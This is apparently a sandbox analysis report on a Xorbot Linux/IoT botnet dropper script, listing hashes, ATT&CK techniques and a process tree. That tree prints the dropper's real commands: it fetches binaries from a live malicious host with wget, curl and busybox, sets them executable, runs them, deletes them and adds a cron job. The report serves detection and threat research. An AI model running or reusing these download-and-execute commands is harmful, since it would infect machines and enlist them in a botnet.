xorbot | d3d3f91578e875f1bf3302e63df0e3d51179d6f4e0c3cdcdc4fd7eef1027fc81

Analysis

max time kernel
149s
max time network
147s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28/02/2025, 12:35

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General

Target

BZTS9_bins.sh
Size

10KB
MD5

5f5a8beaeee13fdd7a462ebf3797535c
SHA1

982824d6165ed0668b25d6765b631170fc8bbd1d
SHA256

d3d3f91578e875f1bf3302e63df0e3d51179d6f4e0c3cdcdc4fd7eef1027fc81
SHA512

1569973908da43ee2f414331f4f81ec6106545ec4140272be439351c81bf2e2b27877e9e444c1e7290f195510f59b475de7885999bcc273392e0a0a778b7f01a
SSDEEP

96:YokU5Utt6LLnXIEgLsXasZeEINqKqCqE5FJLeOILQAQ8Q8rLNL04hyK1mZEZIZZy:75tgd4t/NYQ3SuaZNnEb7YQ3Su4ZNnY

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 4 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-9.dat	family_xorbot
behavioral1/files/fstream-11.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1490	chmod
1498	chmod
1506	chmod
1514	chmod
1522	chmod
1530	chmod

Executes dropped EXE 6 IoCs

ioc	pid	Process
/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	1491	BZTS9_bins.sh
/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	1499	BZTS9_bins.sh
/tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X	1507	BZTS9_bins.sh
/tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY	1515	BZTS9_bins.sh
/tmp/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc	1523	BZTS9_bins.sh
/tmp/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV	1531	BZTS9_bins.sh

Renames itself 1 IoCs

pid	Process
1532	BZTS9_bins.sh

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.GS6LEg	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/267/cmdline	BZTS9_bins.sh
File opened for reading	/proc/423/cmdline	BZTS9_bins.sh
File opened for reading	/proc/457/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1070/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1125/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1144/cmdline	BZTS9_bins.sh
File opened for reading	/proc/9/cmdline	BZTS9_bins.sh
File opened for reading	/proc/29/cmdline	BZTS9_bins.sh
File opened for reading	/proc/164/cmdline	BZTS9_bins.sh
File opened for reading	/proc/198/cmdline	BZTS9_bins.sh
File opened for reading	/proc/333/cmdline	BZTS9_bins.sh
File opened for reading	/proc/446/cmdline	BZTS9_bins.sh
File opened for reading	/proc/917/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1059/cmdline	BZTS9_bins.sh
File opened for reading	/proc/944/cmdline	BZTS9_bins.sh
File opened for reading	/proc/153/cmdline	BZTS9_bins.sh
File opened for reading	/proc/413/cmdline	BZTS9_bins.sh
File opened for reading	/proc/562/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1147/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1278/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1355/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1462/cmdline	BZTS9_bins.sh
File opened for reading	/proc/14/cmdline	BZTS9_bins.sh
File opened for reading	/proc/15/cmdline	BZTS9_bins.sh
File opened for reading	/proc/31/cmdline	BZTS9_bins.sh
File opened for reading	/proc/246/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1011/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1052/cmdline	BZTS9_bins.sh
File opened for reading	/proc/160/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1467/cmdline	BZTS9_bins.sh
File opened for reading	/proc/78/cmdline	BZTS9_bins.sh
File opened for reading	/proc/115/cmdline	BZTS9_bins.sh
File opened for reading	/proc/411/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1116/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1470/cmdline	BZTS9_bins.sh
File opened for reading	/proc/6/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1311/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1324/cmdline	BZTS9_bins.sh
File opened for reading	/proc/24/cmdline	BZTS9_bins.sh
File opened for reading	/proc/34/cmdline	BZTS9_bins.sh
File opened for reading	/proc/157/cmdline	BZTS9_bins.sh
File opened for reading	/proc/170/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1079/cmdline	BZTS9_bins.sh
File opened for reading	/proc/10/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1135/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1162/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1460/cmdline	BZTS9_bins.sh
File opened for reading	/proc/79/cmdline	BZTS9_bins.sh
File opened for reading	/proc/81/cmdline	BZTS9_bins.sh
File opened for reading	/proc/165/cmdline	BZTS9_bins.sh
File opened for reading	/proc/690/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1166/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1172/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1459/cmdline	BZTS9_bins.sh
File opened for reading	/proc/16/cmdline	BZTS9_bins.sh
File opened for reading	/proc/98/cmdline	BZTS9_bins.sh
File opened for reading	/proc/125/cmdline	BZTS9_bins.sh
File opened for reading	/proc/518/cmdline	BZTS9_bins.sh
File opened for reading	/proc/967/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1248/cmdline	BZTS9_bins.sh
File opened for reading	/proc/154/cmdline	BZTS9_bins.sh
File opened for reading	/proc/162/cmdline	BZTS9_bins.sh
File opened for reading	/proc/163/cmdline	BZTS9_bins.sh
File opened for reading	/proc/1154/cmdline	BZTS9_bins.sh

System Network Configuration Discovery 1 TTPs 19 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1513	busybox
1519	curl
1489	busybox
1502	wget
1510	wget
1521	busybox
1529	busybox
1541	wget
1466	wget
1487	curl
1494	wget
1497	busybox
1526	wget
1495	curl
1505	busybox
1518	wget
1527	curl
1503	curl
1511	curl

Writes file to tmp directory 18 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	wget
File opened for modification	/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	curl
File opened for modification	/tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X	busybox
File opened for modification	/tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY	wget
File opened for modification	/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	busybox
File opened for modification	/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	busybox
File opened for modification	/tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY	curl
File opened for modification	/tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY	busybox
File opened for modification	/tmp/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV	curl
File opened for modification	/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	curl
File opened for modification	/tmp/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV	busybox
File opened for modification	/tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X	wget
File opened for modification	/tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X	curl
File opened for modification	/tmp/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc	wget
File opened for modification	/tmp/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc	curl
File opened for modification	/tmp/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc	busybox
File opened for modification	/tmp/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV	wget
File opened for modification	/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	wget

/tmp/BZTS9_bins.sh
/tmp/BZTS9_bins.sh
1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1464
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1465
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1466
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1487
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1489
- /bin/chmod
  chmod 777 coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - File and Directory Permissions Modification
  PID:1490
- /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  ./coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  PID:1491
- /bin/rm
  rm coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  PID:1493
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1494
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1495
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1497
- /bin/chmod
  chmod 777 hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - File and Directory Permissions Modification
  PID:1498
- /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  ./hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  PID:1499
- /bin/rm
  rm hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  PID:1501
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1502
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1503
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1505
- /bin/chmod
  chmod 777 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  ./6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  PID:1507
- /bin/rm
  rm 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  PID:1509
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1510
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1511
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1513
- /bin/chmod
  chmod 777 BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
  2⤵
  - File and Directory Permissions Modification
  PID:1514
- /tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
  ./BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
  2⤵
  PID:1515
- /bin/rm
  rm BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
  2⤵
  PID:1517
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1518
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1519
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1521
- /bin/chmod
  chmod 777 WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /tmp/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
  ./WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
  2⤵
  PID:1523
- /bin/rm
  rm WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
  2⤵
  PID:1525
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1526
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1527
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1529
- /bin/chmod
  chmod 777 FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1534
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1536
- /bin/rm
  rm FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
  2⤵
  PID:1538
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ly20uQ5RVmBE1c3GXpfTK7NWIJnJfL9ZZu
  2⤵
  - System Network Configuration Discovery
  PID:1541

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/var/spool/cron/crontabs/tmp.GS6LEg

Filesize
210B

MD5
3668c9a52a174cc38159c35e0e125224

SHA1
b7ed840ce827ef0177c6c2efda40e424926bc6c5

SHA256
15d5c9dd1207d1a0731a1603a385af81c4f921424c91176ae44737b8d81867f8

SHA512
5b5e5d825cc2cf35757644d50a38637971514c81ac84a813170cc9e33e228661df2975ef0d53b4de0493fced84b02dc355a9cd0562124656015d6a7817c5c736

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MITRE ATT&CK Enterprise v15

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